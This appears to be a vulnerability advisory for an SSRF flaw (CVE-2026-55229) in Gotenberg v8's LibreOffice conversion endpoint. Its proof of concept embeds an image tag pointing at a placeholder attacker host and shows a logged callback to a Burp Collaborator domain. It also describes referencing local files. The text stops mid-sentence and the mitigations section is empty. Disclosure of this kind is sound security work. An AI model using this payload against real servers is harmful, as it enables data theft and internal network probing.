Gotenberg: SSRF via LibreOffice document processing
Date: 2026-06
Affected: go/github.com/gotenberg/gotenberg/v8
Attack vector: ssrf
Category: vulnerability-disclosure
Severity: High
CVE: CVE-2026-55229
CWE: CWE-918
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

**Summary** Server-Side Request Forgery (SSRF) vulnerability affecting the `/forms/libreoffice/convert` endpoint in Gotenberg v8.33.0 running with the default configuration. By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations. Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document. **PoC** **External Resource Retrieval** Create a DOCX document containing the following content: `<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">` Upload the document to the `/forms/libreoffice/convert `endpoint. During document processing, LibreOffice automatically retrieves the referenced external resource. An outbound request can be observed on Burp Collaborator: ``` GET /secretendpoint?query=hacked HTTP/1.1 Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6 Accept: */* Accept-Encoding: deflate, gzip, br, zstd ``` **Local Resource Retrieval** Create a DOCX document containing the following content: `<img src="/path/to/image.png">` Upload the document to the `/forms/libreoffice/convert `endpoint. During docu


Mitigations:

Architectural layers (MAESTRO):